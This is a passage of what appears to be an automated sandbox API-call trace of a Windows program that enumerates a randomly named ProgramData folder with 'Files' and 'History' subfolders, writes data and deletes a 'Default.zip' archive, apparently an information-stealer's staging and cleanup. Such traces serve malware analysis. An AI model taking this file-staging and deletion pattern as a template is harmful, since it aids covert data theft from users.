lpNumberOfBytesWritten=0x19dfd8*=0x16, lpOverlapped=0x0) returned 1 [0102.051] ReadFile (in: hFile=0x4f0, lpBuffer=0x33aba1c, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x19dfd8, lpOverlapped=0x0 | out: lpBuffer=0x33aba1c*, lpNumberOfBytesRead=0x19dfd8*=0x0, lpOverlapped=0x0) returned 1 [0102.051] CloseHandle (hObject=0x4f0) returned 1 [0102.052] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x92 [0102.052] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.052] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.052] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.052] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.052] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.060] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.060] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.060] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x12, lpOverlapped=0x0) returned 1 [0102.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0102.061] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0102.061] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9) returned 0x2113120 [0102.061] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x360) returned 0x2117d60 [0102.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0102.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa458 | out: hHeap=0x2110000) returned 1 [0102.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300e0 | out: hHeap=0x2110000) returned 1 [0102.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.061] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\files\\default.zip")) returned 1 [0102.063] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa770 | out: hHeap=0x2110000) returned 1 [0102.063] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f12b83, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33f12b83, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b0341, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.zip", cAlternateFileName="")) returned 0 [0102.063] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0102.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0102.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x35) returned 0x33aad20 [0102.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", cchWideChar=53, lpMultiByteStr=0x33aad20, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", lpUsedDefaultChar=0x0) returned 53 [0102.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128e8 [0102.063] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aad20 | out: hHeap=0x2110000) returned 1 [0102.063] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21168f8 [0102.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x21168f8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.063] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168f8 | out: hHeap=0x2110000) returned 1 [0102.063] PathMatchSpecW (pszFile="Files", pszSpec="*.*") returned 1 [0102.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0102.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x35) returned 0x33aac60 [0102.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", cchWideChar=53, lpMultiByteStr=0x33aac60, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", lpUsedDefaultChar=0x0) returned 53 [0102.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ae0 [0102.063] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aac60 | out: hHeap=0x2110000) returned 1 [0102.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0102.064] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x7) returned 0x21168d8 [0102.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files", cchWideChar=7, lpMultiByteStr=0x21168d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Files", lpUsedDefaultChar=0x0) returned 7 [0102.064] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168d8 | out: hHeap=0x2110000) returned 1 [0102.064] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\files"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.064] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0102.064] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.064] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\files")) returned 0 [0102.064] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128e8 | out: hHeap=0x2110000) returned 1 [0102.064] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0102.064] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.064] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.064] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="History" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" [0102.064] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.064] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.064] lstrcatW (in: lpString1="\\", lpString2="History" | out: lpString1="\\History") returned="\\History" [0102.064] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0102.064] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0102.064] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" [0102.064] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\*.*" [0102.064] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0102.065] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" [0102.065] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\" [0102.065] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\." [0102.065] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0102.065] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0102.065] lstrcatW (in: lpString1="\\History\\", lpString2="." | out: lpString1="\\History\\.") returned="\\History\\." [0102.065] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.065] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.065] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" [0102.065] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\" [0102.065] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History\\.." [0102.065] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0102.065] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0102.065] lstrcatW (in: lpString1="\\History\\", lpString2=".." | out: lpString1="\\History\\..") returned="\\History\\.." [0102.065] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.065] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.065] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.065] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0102.065] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0102.066] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33aaca0 [0102.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", cchWideChar=55, lpMultiByteStr=0x33aaca0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", lpUsedDefaultChar=0x0) returned 55 [0102.066] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a98 [0102.066] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaca0 | out: hHeap=0x2110000) returned 1 [0102.066] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.098] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21169c8 [0102.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x21169c8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.098] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169c8 | out: hHeap=0x2110000) returned 1 [0102.098] PathMatchSpecW (pszFile="History", pszSpec="*.*") returned 1 [0102.098] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.099] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0102.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0102.099] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33ab060 [0102.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", cchWideChar=55, lpMultiByteStr=0x33ab060, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History", lpUsedDefaultChar=0x0) returned 55 [0102.099] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ae0 [0102.099] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab060 | out: hHeap=0x2110000) returned 1 [0102.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\History", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0102.099] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9) returned 0x21130f0 [0102.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\History", cchWideChar=9, lpMultiByteStr=0x21130f0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\History", lpUsedDefaultChar=0x0) returned 9 [0102.099] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0102.099] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" (normalized: 